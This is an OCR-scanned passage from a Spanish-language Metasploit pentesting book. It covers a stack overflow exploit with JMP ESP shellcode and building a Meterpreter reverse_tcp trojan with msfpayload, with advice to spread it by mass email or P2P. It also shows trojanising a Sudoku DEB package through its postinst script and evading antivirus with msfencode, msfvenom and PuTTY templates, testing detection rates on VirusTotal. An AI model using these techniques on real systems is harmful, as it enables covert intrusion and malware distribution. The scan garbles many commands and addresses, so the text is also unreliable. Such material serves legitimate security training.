Entonces, muy probablemente se esté sobrescribiendo el valor de la última instrucción que se ejecuta
en la pila, la cual es la dirección de retomo de la función o RETN. En la siguiente imagen se puede
visualizar de manera muy intuitiva.
JISCI.L"":bolal.?34-- "
0022FF14 766f9E34 .�.
ee22FF:18 4XOV RETl ...... r--·· -····-• �,rrtr.#\lr .... -····-• �,,,-,..,..,..,A
0022FF18 616C6F68 hola Contenido del buffer= hola1234aaaa...
0022FF1C 34399291 1234
0022FF20 61616161 aaaa
0022FF24 61616161 ªªªª
0022FF28 61616161 ªªªª
0022FF2C
0022FF30
61616161
61616161
aaaa
aaaa
� Dirección retorno apunta a 61616161 = aaaa
0022FF34 61616161
0022FF38 61616161 aaaa
0022FF3C 61616161 aaaa
0022FF40 7FF03000 .e•o
Fig 5.18: Estado de la pila en el instante previo a finalizar la ejecución de la función strcpy.
Hasta ahora se ha aprendido como causar una caída de una aplicación haciendo que la dirección de
retomo a una zona no controlada o no autorizada. ¿Y si se quiere ejecutar código arbitrario?, ¿Dónde
debe introducirse el shellcode? El shellcode debe introducirse en la pila justo debajo de la dirección
de retomo. ¿Por qué debajo? Cuando se ejecute la dirección de retomo se desapilará y en la cima de
la pila quedará la primera instrucción del shellcode.
Ahora hay que conseguir que se ejecute la primera instrucción del shellcode. Para ello la dirección
de retomo de la pila debe ser una dirección que contenga una instrucción de salto incondicional a la
pila, JMP ESP.
•••
Capítulo V Otras msftools liti
75141224 50 PUSH EAX EAX 7
75141225 17 POP SS Modification of segMent register ECX
75141226 v 75 0F JNE SHORT 75141237 EDX
75141228 847A FO TEST BYTE PTR OS: [EDX-3], BH E8X
75141228 FF 08 FF Unknown coMMand ESP
7514122C FFEB JHP EBX Illegal use of regis.ter EBP
7514122E CD ES INT 0EB
e ��e �
75141230 0F56FF ORPS XMM7,XMM7 ES!
75141233 FFS3 C03CFF75 INC OWORO PTR OS: CEBX+75FF3CC0J
75141239 C4FF LES EO!,EOI Illegal use of regis.ter 75138978 KERtl
75141238 v 70 04 JO SHORT 75141241 1 ES 0023 32bi
75141230
7514123E
56
ES 9F55FFFF
PUSH ES!
CALL 751367E2 P 1 es 0010 82bi
75141243 8845 C4 MOV EAX,OWORO PTR SS: EE8P-3Cl A 0 SS 0028 32bi
75141246 v E8 66 JMP SHORT 751412AE Z 0 os 0023 32b�
75141248 FF75 00 PUSH OWORD PTR SS: EEBP-301
75141248 53 PUSH E8X Names Ctrl+N
7514124C 64: Al 18000000 MOV EAX, OWORO PTR FS: E181
75141252 8840 30 MOl.J EAX. DWORD PTR OS: CEAX+30J Intermodular calis
75141255 FF70 18 PUSH OWORO PTR OS: CEAX+l8J
75141258 FF15 14101375 CALL Oil.lORO PTR OS: [75131014]
7514125E 8950 00 MOV OijQRD PTR SS: EE8P-30l,EBX
75141261 ' E9 80FOFFFF JMP 75140FE6 Command... Ctrl+F
75141266 FA CLI
75141267
7514126E
75141270
101475 1111147
v EB 00
14 75
JMP SHORT
AOC AL, 75
,===--- - --�----l
AOC BYTE PTR OS: CESI*2+75141111J, DL Sequence of commands ...
Una vez localizada la dirección que contiene este tipo de instrucción ya se dispone de lo necesario
para volver a la pila cuando el usuario requiera. Justo debajo de la dirección de retomo se debe
sobrescribir el shellcode. Como ejemplo se presenta la siguiente entrada a la aplicación anterior,
"hola] 234aaaaa<dirección jmp+esp><shellcode> ". La primera parte de la entrada es "basura"
para llegar a la dirección de retomo de la pila, que es parte imprescindible de la entrada. La tercera
parte de la entrada son las instrucciones en hexadecimal del shellcode.
En la generación del shellcode entra en juego Metasploit y la herramienta msfpayload. Hay que tener
en cuenta que hay que eliminar los bytes \x.00 ya que producirán un final de cadena y hará que el
exploit no se ejecute completamente.
Tras generar el shellcode se puede declarar una variable en el interior del código en C dónde se
anexen la parte denominada anteriormente "basura", la dirección de retomo en hexadecimal la
cual apunte a una instrucción JMP ESP y por último el código en hexadecimal proporcionado por
msfpayload. Esta variable será la que se pase a la función strcpy, en vez de utilizar arvg[JJ como en
el caso original.
•••
Mili Metasploit para Pentesters
por el atacante o auditor con el propósito de realizar una funcionalidad concreta o un conjunto de
funcionalidades.
Para la creación del fichero binario se elegirá el payload conocido como Meterpreter. La conexión
que llevará a cabo el payload será inversa, reverse_tcp. Hay que tener en cuenta las variables que se
deben configurar en el instante de crear un ejecutable.
Es recomendable mezclar este ejecutable con otro tipo de archivos, ya que en el momento en el
que la víctima ejecute el binario aparentemente no ocurrirá ninguna acción. Tanto esta última
recomendación, como la distribución de este archivo, pueden ocasionar un debate amplio en el
ámbito de la seguridad informática, acerca de la mejor manera de realizar dichas acciones. Como
se ha mencionado en este libro, una vía podría ser la utilización de envío masivo de e-mails en una
empresa.
A continuación se enumeran las opciones a tener en cuenta para la creación del ejecutable, o como
se ha denominado en la prueba de concepto, la creación de un troyano casero.
El payload. Para la prueba de concepto se utiliza un Meterpreter, pero en algunas
ocasiones puede ser interesante utilizar otro payload que simplemente ejecute cierta acción
en el sistema de manera silenciosa, por ejemplo windows/adduser. Si un atacante dispone de
acceso a la máquina víctima, en un posible ataque dirigido, se podría utilizar dicho payload
para lograr acceso físico como administrador de la máquina.
Al ser un payload de conexión inversa, las variables que deben ser configuradas en el
módulo del payload son LHOST y LPORT. La variable LHOST representa la dirección IP
de la máquina del atacante, dónde se recibirán las conexiones de Meterpreter mediante la
utilización de la herramienta msfcli. Por otro lado la variable LPORT representa el puerto de
la máquina del atacante donde se escucharán las sesiones inversas.
root@root:-# msfpayload windows/meterpreter/reverse_tcp LHOST=l92.168.l.39 LPORT=4444 X> troyan
o.exe
Created by msfpayload (http://www.metasploit.com).
Pfyload: windows/meterpreter/reverse_tcp
;_ength: 299
Options: {"LHOST"=>"l92.168.l.39", "LPORT"=>"4444"}
Fig 5.20: Creación de un ejecutable con elpayload Meterpreter.
Tras la creac1on del ejecutable, éste se debe distribuir entre los objetivos, si el ataque fuera
dirigido. La imaginación es uno de los puntos a tener en cuenta en este aspecto. Como se mencionó
anteriormente una de las vías posibles seria el envío masivo de mails contra una organización. Si el
ataque fuera no dirigido, las posibles vías de distribución aumentan, como por ejemplo compartir el
archivo en redes P2P, subirlo a servidores de descarga y enlazarlo en foros, etcétera.
Ahora hay que esperar a recibir las sesiones inversas de las máquinas víctimas. Para ello se utiliza la
herramienta msfcli mediante la configuración del módulo exploit/multi/handler. La configuración de
este módulo es realmente sencilla y ya se ha explicado en el presente libro. Hay que tener en cuenta
que el payload debe coincidir con el configurado en el ejecutable .
•••
Capítulo V Otras msf tools Mili
root@root:--# msfcli exploit/multi/handler LHOST=l92.168.l.39 LPORT=4444 PAYLOAD=windows/meterpre
ter/reverse tcp E
[*] Please wait while we load the module tree...
1 1 l I
\ _ \ _I _. 1 _I _ \ 1 _ \ -, _I
,-
1 1 1 _/ 1 ! I\_ \ 1 1 1 ( 1 1 1
_I _I I\ I\ I\ , I I . I I\ I I\ 1
- - - --- - -
Cuando las víctimas ejecuten el binario en sus sistemas Windows el payload devolverá el control
de la máquina en la dirección IP dónde se ha configurado msfcli. En este momento el atacante
tiene control total sobre las acciones que se pueden realizar en dicha máquina. Hay que recordar
que las posibilidades que ofrece Meterpreter son infinitas y pueden ser consultadas en su capítulo
correspondiente.
I l I
\
_ \ _I _· 1 _I \ _ \ -, _f
1 1 1 I 1 ( I\ \ 1 1 1 ( 1 1 1
_I _I I\ -1\ I\ . 1 - I . I I\ I I\ 1
_,
=[ etasploit v3.7.0-release [core:3.7 api:1.0]
+ -- --=[ 684 exploits 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops
LHOST => 192.168.1.39
LPORT => 4444
PAYLOAD => windows/meterpreter/reverse_tcp
l*I Started reverse handler on 192.168.1.39:4444
l*I Starting the payload handler...
{*! Sending stage (749056 bytes) to 192.168.1.38
[*) Meterpreter session 1 opened (192.168.1.39:4444 -> 192.168.1.38:1057) at 2012-08-21 15:21:03
-0400
meterpreter > pwd
C:\Archivos de programa\Mozilla Firefox
meterpreter > 1
Fig 5.22: Obtención del control total de una máquina víctima.
Para otros sistemas operativos como GNU/Linux u OSX también se pueden crear ejecutables de
manera sencilla e intuitiva con msjpayload. El proceso es sencillo se indica un payload para estos
•••
ifl:i Metasploit para Pentesters
En el ejemplo del binario para sistemas Linux se puede visualizar como se ha utilizado la misma
máquina para realizar la explotación. Como se ha hecho en el resto de ejemplos tendría mayor
sentido si se realiza sobre máquinas remotas sobre las que no se dispone de control.
Este método es criticado en Internet por los mayores defensores de sistemas operativos GNU/Linux,
ya que indican que el paquete no está firmado ni verificado y que los usuarios no lo ejecutarían. La
realidad no es así, los usuarios también descargan archivos de Internet y ejecutan cualquier tipo de
software con orígenes desconocidos. Es por esta razón que este método puede funcionar en gran
cantidad de casos ya que la distribución del paquete es clave.
En primer lugar hay que disponer de un paquete DEB real que albergará en su interior el payload.
Para obtener el archivo DEB se ejecutará la siguiente instrucción apt-get -download-only install
•••
Capítulo V. Otras msf tools IHJI
<nombre paquete>. Para esta prueba de concepto el paquete elegido es el juego del Sudoku, el cual
es una simple aplicación de línea de comandos que permitirá a la víctima disponer de dicho juego.
Una vez se ha obtenido el paquete DEB se procede a crear la estructura de directorios para el paquete
DEB manipulado o malicioso. Se llevarán a cabo las siguientes instrucciones:
root@root:-#/juegoFalso/sudoku# mv /var/ cache/ apt/ archives/ sudoku_l.0.1-3
amd64.deb .
root@root:-#/juegoFalso/sudoku# dpkg -x sudoku_l.0.1-3_amd64.deb makeinstall
root@root:-#/juegoFalso/sudoku# mkdir makeinstall/DEBIAN
Una vez creada la estructura de directorios se deben crear los ficheros de control del paquete DEB.
Estos ficheros se deben ubicar en el directorio DEBIAN. El primer fichero que se debe crear tiene
por nombre control.
Package: sudokuFalso
Version: 0.3
Section: Games and Amusement
Priority: optional
Architecture: i386
Maintainer: Ubuntu MOTU Developers ([email protected])
Description: Un juego de sudoku
El fichero postinst también debe ser creado en el directorio DEBIAN y contiene las acciones que se
ejecutarán al ejecutar el paquete DEB. Para la prueba de concepto se utilizará el siguiente esqueleto.
Hay que tener en cuenta que una vez que se crea este archivo, es recomendable asignarle los permisos
755 al fichero, ya que debe ser ejecutado.
#!/bin/sh
chmod 2755 /usr/games/sudokuFalso && /usr/games/sudokuFalso &
Una vez que se dispone de los archivos de control del paquete DEB creados y preparados se debe
crear el binario que contiene el payload. El payload escogido para esta prueba de concepto es linuxl
x86/shell/reverse_tcp.
Se puede observar que la ruta coincide con /usr/games/sudokuFalso del archivo postinst. Se puede
entender de manera sencilla que cuando la víctima ejecute el paquete DEB y el archivo postinst sea
ejecutado éste referencia a la ruta dónde realmente se encuentra el payload en el interior del paquete
DEB, provocando la ejecución del código malicioso. Es altamente interesante probar distintas
configuraciones del archivo postinst para comprobar su potencial y entender todo lo que se puede
ejecutar y lograr con un pensamiento maligno.
Por último queda construir el paquete DEB malicioso, para ello se utiliza la herramienta dpkg
deb. La siguiente instrucción debe ser ejecutada para construir el paquete dpkg-deb -build /root/
•••
··:Ji· Metasploit para Pentesters
Antes de distribuir el paquete DEB se debe configurar, por ejemplo mediante la herramienta msfcli,
el módulo exploit/multi/handler para recibir la shell inversa. Cuando la víctima ejecute el paquete
DEB, estará proporcionando al atacante una shell, para gestionar y manipular la máquina remota.
Tras la ejecución de una víctima se recibirá la sesión inversa y el control de la máquina remota. Lo
interesante es que la víctima no nota nada extraño, ya que se puede hacer que la aplicación original
se ejecute, por lo que aparentemente todo es correcto.
whoami
root
hostname
pablo-VirtualBox
ifconfia
Fig 5.26: Obtención de una shell inversa en una máquina Ubuntu a través de un DEB malicioso.
Payloads Vs Antivirus
Existe gran cantidad de información que trata la delicada relación entre los payload y los antivirus.
La gran mayoría de antivirus detectan a gran cantidad de payload simplemente por la firma que
proporciona la generación de archivos con este tipo de código. En la prueba de concepto realizada
anteriormente se ha podido estudiar la creación de un troyano casero a través de la herramienta
msfpayload.
Esta prueba de concepto llevada al mundo real posiblemente no daría los resultados esperados ya que
algún antivirus podría detectar fácilmente la amenaza. Como ejemplo de lo enunciado anteriormente
•••
Capítulo V Otras msf tools IEII
se presenta el sitio web http://w,vw.virustotal.com en el que se puede comprobar si el ejecutable
creado anteriormente es detectado y además qué antivirus lo detectan. Se puede entender que dar
este uso a un sitio como Virus Total no es el más lícito, pero hay que tener en cuenta que los atacantes
se aprovecharán de este tipo de herramientas para conocer el grado de eficacia de su ejecutable
frente a los sistemas de protección.
SH,11256: 6b6b49a4400d6f49c56f3a53714b6fd955075c5218f052dec99e82e70b6bd564
Nombre: troyano.exe
Detecciones: 33 / 42
Más detalles
En la imagen se ha podido observar como la gran mayoría de los sistemas antivirus detectan la
generación del ejecutable por defecto, con un payload Meterpreter de tipo reverse_tcp y sin ninguna
técnica de evasión aplicada. En el siguiente apartado se estudiarán métodos y técnicas para la posible
evasión de la detección de los antivirus.
Msfencode es una herramienta cuyo fin es evitar que los antivirus detecten los ejecutables y payloads
que se han ido generando en los apartados anteriores. El fin es claro, evadir el sistema de protección
ya que como se ha visto anteriormente la mayoría de los antivirus detectan fácilmente y por firma
los ejecutables anteriores como amenazas.
Esta herramienta dispone de ciertos conceptos que deben ser explicados brevemente antes de entrar
en materia, como por ejemplo ¿Qué es un encoder o codificación? ¿Por qué iterar una codificación?
¿Existen algoritmos de codificación mejores que otros? Estas preguntas se irán respondiendo a lo
largo de este apartado. Para las pruebas de concepto y para poder comprobar que la herramienta está
mejorando los resultados frente a los antivirus se utilizará, como anteriormente se ha utilizado, el
sitio webhttp://www.virustotal.com.
•••
Mf:fl Metasploit para Pentesters
Msfencode genera un nuevo ejecutable o archivo binario, el cual cuando la víctima lo ejecute se
decodificará en memoria y se ejecutará el archivo real. La idea es sencilla, primero se codifica para
evitar la detección de los antivirus, para después cuando el archivo entre en memoria decodificar y
obtener el original y las funcionalidades de éste.
root@root:-# msfencode -l
ramework Encoders
Para obtener ayuda sobre el uso de la herramienta se dispone del parámetro -h, el cual proporciona
información sobre distintos usos y funcionalidades de la herramienta.
•••
Capítulo V Otras msf tools ''*'
PoC: Creación de un ejecutable codificado
En esta primera prueba de concepto con msfencode se realizará una codificación simple y se
estudiará la mejora frente a los antivirus. El encoder escogido para esta prueba de concepto es
x86/shikata__ga_nai, el cual es un codificador polimórfico. Su valoración es la más alta en el Rank
proporcionado por la herramienta.
En primer lugar se genera el ejecutable tal y como se haría normalmente con la herramienta
msfpayload y mediante una tubería o pipe se enlaza con la herramienta msfencode. Hay que tener
en cuenta que el modo de ejecución de msfpayload que se utiliza es el modo raw, ya que msfencode
se encargará de generar el ejecutable cuando reciba la salida de msfpayload. El parámetro --e indica
qué tipo de codificador se utilizará, mientras que el parámetro -t indica el tipo de archivo que se
debe generar.
Se puede comprobar que el archivo creado es realmente un ejecutable válido para sistemas Windows
mediante el comando file. La siguiente instrucción.file <archivoCodificado.exe> devolverá que el
archivo es PE32 executable for MS Windows.
Por último queda estudiar los resultados que proporciona Virus Total respecto a los antivirus del
mercado y el archivo codificado creado. Para ello, se procede a subir el archivo creado mediante
msfencode al sitio web http://www.virustotal.com.
� irustotal
S H.A.256: 771154371 b a77944 f42015 a3b3dce d04173 a1fda b06fc7691271155c3fa5f701
Nombre: archivoCodificado.exe
Detecciones: 28 I 42
Más detalles
En la imagen se puede visualizar como 28 de 42 antivirus han detectado el ejecutable como malicioso.
Esto supone una mejora de 5 antivirus menos, que en la primera prueba que se realizó en la que no se
utilizó la herramienta msfencode. A continuación se irán estudiando distintas técnicas para intentar
disminuir la detección de los archivos generados.
•••
ll:JI Metasploit para Pentesters
Codificación múltiple
Normalmente las casas de antivirus están continuamente actualizando las bases de datos de firmas
para detectar el mayor número de aplicaciones maliciosas. La codificación múltiple permite al
atacante iterar sobre el payload y realizar varias codificaciones. Con esta técnica se busca que las
detecciones estáticas de los antivirus disminuyan respecto a la técnica de simple codificación.
En primer lugar se crea mediante msfpayload el flujo en modo raw de un payload windows/
meterpreter/reverse_tcp. Este flujo se pasa a la herramienta msfencode el cual aplicará el encoder
•••
Capítulo V Otras msf tools if:j.j
x86/shikata_ga_nai. Mediante la utilización del parámetro -e se indica el número de iteraciones
del codificador que se deben realizar, en el ejemplo se utilizan 6. Con el parámetro -t se indica
que la salida de msfencode será un flujo de bytes y no un formato ejecutable. La salida se pasa de
nuevo a la herramienta msfencode que en segunda instancia utiliza el encoder x86/context_stat con 3
iteraciones. La salida se envía otra vez a msfencode, en este caso con el codificador x86/countdown
con 4 iteraciones. Por último, la salida se pasa de nuevo a msfencode, para que otra vez se utilice
el encoder x86/shikata_ga_nai con 6 iteraciones. En la última ejecución de msfencode se utiliza el
parámetro -t con exe para indicar que se debe aplicar salida en formato PE32 executable, es decir,
un archivo ejecutable final para un sistema Windows.
A continuación, hay que estudiar si el número de antivirus que detectan el archivo ha mejorado o no.
Se procede a subir el archivo a Virus Total y comprobar el número de antivirus que lo detectan y si
se han mejorado los resultados anteriores. En este caso, no se ha obtenido mejora, ya que se obtiene
prácticamente el mismo resultado.
Detecciones: 29 I 42
Más detalles
En esta técnica entra en juego la utilización de unos encoders u otros y la combinación de éstos. Es
altamente recomendable utilizar distintas combinaciones, con distintas iteraciones e ir comprobando
los resultados en Virus Total.
La técnica que se estudiará ahora permite al atacante utilizar plantillas personalizadas, con el
objetivo de evadir las firmas de las plantillas por defecto, las cuales normalmente están registradas
por los antivirus. Lo que realmente se busca es utilizar un ejecutable cualquier, por ejemplo válido
en sistemas Windows para que los antivirus no lo detecten como amenaza. Además, se codificará
mediante el uso de algún encoder para intentar mejorar la posible evasión.
•••
lf:tl Metasploit para Pentesters
Para poder utilizar dicha técnica se dispone del parámetro -x en msfencode. A este parámetro se le
debe indicar qué ejecutable se quiere usar para llevar a cabo la creación del elemento malicioso que
contendrá el payload codificado. Por otro lado, y como una evolución de la técnica de las plantillas
personalizadas, se dispone de la técnica de los ejecutables sigilosos. Esta técnica permite lanzar un
thread que será el que ejecute realmente el payload, mientras que el proceso principal será la propia
aplicación real o como se ha mencionado anteriormente la plantilla personalizada.
Esta técnica dispone de algunos inconvenientes ya que no funciona con todos los ejecutables y
se debe preparar y realizar un estudio previo antes de ejecutar el archivo malicioso contra una
posible víctima. Para poder utilizar dicha técnica se dispone del parámetro -k en msfencode. Es
un parámetro de tipo switch, es decir simplemente indicando -k, msfencode conoce la acción que
debe realizar. Se podrá visualizar un ejemplo sencillo y claro en el apartado de las pruebas de
concepto que implementan dichas técnicas. La técnica sigilosa debe ser puesta en prueba siempre
con aplicaciones que dispongan de interfaz gráfica para que la víctima no sospeche de una ejecución
extraña en su máquina.
procmonCodificado
Process Monitor
Sysinternals - www.sysinterna ...
Para llevar a cabo este proceso, de nuevo se utilizan conjuntamente las herramientas msfpayload
y msfencode. La salida de msfencode con payload windows/meterpreterlreverse_tcp se pasa a la
herramienta msfencode que utiliza el encoder x86/shikata__ga_nai con 5 iteraciones. Con el parámetro
-x se especifica la ruta donde está el ejecutable real de Process Monitor. Por último, se indica que
tipo de archivo se está generando y la ruta donde se albergará el nuevo archivo ejecutable malicioso.
•••
Fig 5.34: Creación de ejecutable mediante el uso de la técnica de plantilla personalizada.
Capítulo V Otras msf tools if:fl
Una vez creado el ejecutable y como en las pruebas anteriores se procede a subir el archivo a
Virus Total y comprobar cuantos motores antivirus detectan el ejecutable. El objetivo es conseguir
disminuir el número de antivirus que detecten el archivo como malicioso.
ti irustotal
SHA256: 92748ceb06a7836748adc98da933bac111 b5b8acf5cc3e5013cb360cf5388e73
Nombre: procmonCodificado.exe
Detecciones: 23 1 42
Más detalles
Fig 5.35: Obtención de resultados del ejecutable con plantilla en Virus Total.
Como se puede visualizar en los resultados, se ha conseguido mejorar la cifra de antivirus que no
detectan el archivo como malicioso. Y se ha disminuido considerablemente la cifra respecto a la
primera prueba que se realizó en la que no se utilizaba ningún encoder. Respecto a aquella primera
prueba se ha conseguido evadir 1 O antivirus. Habría que seguir realizando ensayos y combinaciones
para intentar conseguir rebajar las cifras. En este caso la paciencia es un factor fundamental así como
disponer de herramientas en Internet como Virus Total para ir probando las distintas configuraciones.
Al crear el ejecutable, éste dispondrá del icono original de la herramienta Putty, la cual se utilizará
como plantilla en este caso. Además, se muestra la versión e información real de dicha aplicación.
puttyCodificado
SSH, Telnet and Rlogin client
Simon Tatham
Para crear dicho ejecutable se utilizarán de nuevo las herramientas msfpayload y rnsfencode enlazadas
otra vez por un pipe. Msfpayload de nuevo utilizará el payload windowslmeterpreter/reverse_tcp,
•••
''*'
mientras que msfencode utilizará el encoder x86/shikata__ga_nai con 5 iteraciones. Como novedad
Metasploit para Pentesters
hay que fijarse que se aplica el parámetro -k para indicar que el payload debe ser invocado en un
thread en el main. De este modo se consigue que en primer plano se ejecute la aplicación gráfica,
mientras que en segundo plano se ejecuta el payload. Esto ayuda y mucho a que la víctima sienta que
no hay nada extraño en la ejecución de la aplicación. Normalmente, dicha aplicación se cerrará a los
pocos segundos, pero se ha conseguido que la víctima vea todo de manera normal.
Tras crear el archivo y codificarlo se distribuye sobre las víctimas. Cuando éstas lo ejecuten
podrán visualizar correctamente la aplicación Putty funcionando, o aparentemente ejecutándose
correctamente. En la imagen se puede visualizar como al ejecutar el archivo se obtiene la pantalla
principal de dicha aplicación.
•••
Fig 5.38: Ejecución de puttyCodijicado con apariencia real.
Capítulo V. Otras msf tools ll:PI
Tras ejecutar la aplicación maliciosa, la víctima visualiza correctamente dicha herramienta, pero en
segundo plano se ha lanzado un thread el cual está ejecutando el payload. Para demostrar esto, se ha
preparado, mediante el uso de la herramienta msfcli, el exploit multilhandler con el fin de recibir las
sesiones inversas de Meterpreter que producen las ejecuciones del archivo malicioso. En la imagen
se puede visualizar como se obtiene una sesión de Meterpreter, lo cual otorga el control remoto de
la máquina víctima sin levantar sospecha alguna.
Una vez que se ha demostrado cómo se obtiene una sesión de Meterpreter, mientras que el usuario
víctima visualiza la pantalla principal de la aplicación Putty, y que además, su solución antivirus
no detecta tal archivo como malicioso, llega el momento de estudiar los resultados de los motores
antivirus. Para ello, se procede a la subida del archivo a Virus Total y se analizan los resultados.
1r
SH/1256: 7288e9f3e134c61 defd70c1649cc91782c18b123399a1116b9961516ce9f356a
Detecciones: 32 I 42
Más detalles
Fig 5.40: Resultados presentados por virus total para el archivo puttyCodificado.exe.
Los resultados reflejan, en parte, un retroceso en la evasión de algunos antivirus. Hay que tener en
cuenta que se está dando prioridad al aspecto del archivo, antes que a la eficiencia para evadir una
solución antivirus. Los resultados obtenidos se pueden comparar a los conseguidos, prácticamente,
sin disponer de codificación, ya que la mejora ha sido mínima.
Hay que tener en cuenta que la técnica de la plantilla personalizada sin ejecución del payload en un
thread es más eficiente para evadir a los antivirus. Utilizando dicha técnica con el mismo ejecutable,
•••
Metasploit para Pentesters
es decir la herramienta putty, pero sin el thread sigiloso se obtienen menos detecciones. Si se puede
verificar el motor antivirus de que disponen las víctimas se puede comprobar en Virus Total si serían
detectados o no, y en ese caso se puede elegir una u otra técnica.
El objetivo de esta herramienta es unir las funcionalidades de msfpayload y msfencode en una sola
aplicación. Una mejora que los usuarios no tienen en cuenta en la mayoría de las ocasiones es
la semántica de los parámetros. Es más sencillo utilizar una herramienta cuyos parámetros tienen
semántica, como por ejemplo el caso del parámetro -p. En esta herramienta se puede utilizar un
parámetro semántico, es decir, --payload. De esta manera, el usuario puede entender fácilmente la
funcionalidad que la herramienta presenta.
Msfvenom permite crear payloads para utilizar de forma independiente en los exploits que cualquier
usuario puede crear, o se puede utilizar para crear archivos ejecutables para sistemas operativos
como Windows, GNU/Linux u OSX. La funcionalidad es justo la misma que la que dispone la
herramienta msfpayload, salvo que estas funcionalidades pueden codificarse automáticamente con
algún algoritmo, como puede ser x86/shikata_ga_nai o x86/countdown, entre otros.
•••
Capítulo V Otras msf tools IN•
Opciones de msfvenom
La herramienta msfvenom dispone de varias opciones, las cuales se especifican a continuación. Hay
que tener en cuenta que la funcionalidad de la aplicación puede variar en función de las opciones
que se activen o se configuren. Para visualizar todas las opciones disponibles con la herramienta se
puede ejecutar la siguiente instrucción msfvenom -h.
root@bt:-# msfvenom -h
µsage: /opt/metasploit/msf3/msfvenom [options] <Var=val>
Options:
-p, --payload [payload] Payload to use. Specify a '-' or stdin to use custom payload
-l,--list [module type] List a module type example: payloads, encoders, nops, all
-n,--nopsled [length] Prepend a nopsled of [length] size on to the payload
-f,--format [format] Output format (use --help-formats for a list)
-e,--encoder [encoder] The encoder to use
-a,--arch [architecture] The architecture to use
--platform [platform] The platform of the payload
-s. --space [length] The maximum size of the resulting payload
-b, --bad-chars [list] The list of characters to avoid example: '\xee\xff'
-i, --iterations [count] The number of times to encade the payload
-e, --add-code [path] Specify an additional win32 shellcode file to include
-x, --template [path] Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a n
"W thread
-o, --options List the payload's standard options
-h, --help Show this message
--help-formats List available formats
Fig 5.41: Opciones disponibles con la herramienta msfaenom.
Parámetro Descripción
-p 1 --payload Se debe especificar el payload que se quiere utilizar.
Se debe especificar el tipo de módulos que se quiere listar, por ejemplo
-11 --list
encoders, payloads, etcétera.
-n 1 --nopsled Especifica el tamaño sobre el payload.
-f1 --formal Se debe especificar el formato de salida, por ejemplo executable, raw, etcétera.
Especifica el encoder que requiere utilizar, por ejemplo x86/countdown. Esta
-e 1 --encoder
funcionalidad es idéntica en msfencode.
-a 1--arch Se especifica la arquitectura dónde se ejecutará el payload.
-s 1--space Especifica el tamaño máximo que debe tener el payload.
Especifica el listado de caracteres que deben evitarse en la creación del
-b 1 --bad-chars
payload, por ejemplo, para evitar los bytes null '\xOO '.
•••
IPII Metasploit para Pentesters
Parámetro Descripción
-i 1 --iterations Especifica el número de iteraciones que ejecutará el encoder.
Especifica que el payload se ejecutará en un thread. Este parámetro implementa
-k 1--keep
la técnica de ejecutable con "plantilla personalizada sigilosa".
-x 1 --template Específica una plantilla personahzable. Este parametro implementa la tecmca
del ejecutable con plantilla personalizada.
-c 1 --aaa-code Permite añadII un eJecutable personallzado.
-o 1 --options Lista las opc10nes cte los paytoads.
Tabla 5.01: Opciones de msfvenom.
En primer lugar se especifica qué tipo de payload se quiere utilizar, por ejemplo, windows/
meterpreter/reverse_tcp. Con el parámetro --encoder se indicará qué algoritmo se desea utilizar
para llevar a cabo la codificación del código, en busca de la evasión de los antivirus. Para el ejemplo
se utilizará el encoder x86/shikata_ga_nai. Con el parámetro -bad-chars se indica la lista de bytes
que no se quieren generar en el proceso. Además se evitará crear código que contenga el byte '\:xOO '.
•••
Fig 5.42: Generación de shellcode codificado sin bytes nulos.
Capítulo V Otras msf tools i@I
PoC: Creación de ejecutable codificado con msfvenom
En esta prueba de concepto se creará un ejecutable para sistemas Windows con la herramienta
msfvenom. Además, se probará mediante el uso de Virus Total si el ejecutable es efectivo en la
evasión de antivirus.
Se utilizará la técnica de la plantilla personalizada para crear el ejecutable, ya que como se ha visto
anteriormente se consigue evitar a un mayor número de antivirus. No se utilizará la técnica del
thread para lanzar el payload.
rootkRRevealerCodificado
Rootkit detection utilit;l
Sysinternals - www.s;tsinterna...
Tras crear el ejecutable y distribuirlo a las posibles víctimas sería conveniente comprobar el estado
de los antivirus respecto al archivo malicioso. Se procede a la subida y análisis del archivo por parte
de Virus Total.
Los resultados indican que la mitad de los antivirus que se encuentran en Virus Total detectan el
archivo. El porcentaje de éxito sería por lo tanto de un 50% en este caso. Ya se había comprobado
en el apartado dedicado a msfencode como la técnica de plantilla personalizada devolvía los mejores
resultados.
•••
•Q• Metasploit para Pentesters
� irustotal
S HA256 68 b289 c41826192dc395394f1 5214 de e5 d37 dd81938848a086778 d c62t23afa9
Detecciones: 20 I 40
Más detalles
Fig 5.45: Resultados obtenidos de virus total de la creación de ejecutable con ms.fvenom.
Para obtener ayuda en el uso de la herramienta msfd se dispone de la instrucción msfd -h. Con esta
instrucción se obtiene información del uso y las posibilidades que ésta ofrece. Las opciones se
estudiarán a continuación y se ilustrará mediante el uso de ejemplos las posibilidades reales de la
aplicación.
Opciones de msfd
La aplicación, en principio, parece menos configurable de lo que realmente es. Se pueden realizar
diversas tareas como fortificar la conexión entre el auditor y elframework, configurar el puerto que
se desee, implementar una lista de hosts desde los que se puede conectar a Metasploit, etcétera. En
la siguiente tabla se muestran las distintas opciones y funcionalidades que ofrece msfd.
Parámetro Descripción
Se especifica una lista con las direcciones IP desde las que se permiten realizar
-A
conexiones alframework.
-a Asocia la dirección IP proporcionada a la instancia delframew ork.
•••
Capítulo V Otras msf tools lii
Se especifica una lista con las direcciones IP desde las que no se permiten realizar
-D
conexiones alframework.
-f Ejecuta el servicio en primer plano.
-p Asocia un puerto a la instancia.
-s Utiliza SSL para fortificar la conexión.
Tabla 5.02: Opciones de msfd.
Como curiosidad puede llamar la atención no disponer de una autenticación para utilizar elframework
en remoto. Aunque pueda parecer extraño, si se requiere fortificar el uso del framework es mejor
utilizar protocolos como SSH, Secure SHell, para proteger tanto el canal como el acceso a éste.
En la imagen se puede visualizar como se configura la aplicación y ésta se ejecuta en segundo plano
o background.
•••
'ª Metasploit para Pentesters
Tras dejar el servicio preparado, la máquina con Windows XP y la aplicación Netcat disponible
realizará la conexión. Para ello, simplemente se debe ejecutar la instrucción nc.exe <dirección IP>
<puerto>, en este caso nc.exe 192.168.1.40 9000. Se puede utilizar el parámetro -v para visualizar
las operaciones que está realizando la herramienta.
Una vez que se dispone del control de la instancia del framework de manera remota, los comandos
son exactamente iguales que si se estuviera en local. Por eso, para cargar el módulo exploit/multi/
handler se utiliza el comando use. Como se puede visualizar en la imagen se utilizan los mismos
pasos para la configuración del módulo.
Exploit ta1•get:
Id Hal!le
0 Uildcal'd Ta1•get
•••
Fig 5.48: Configuración exploitlmultilhandler a través de Netcal.
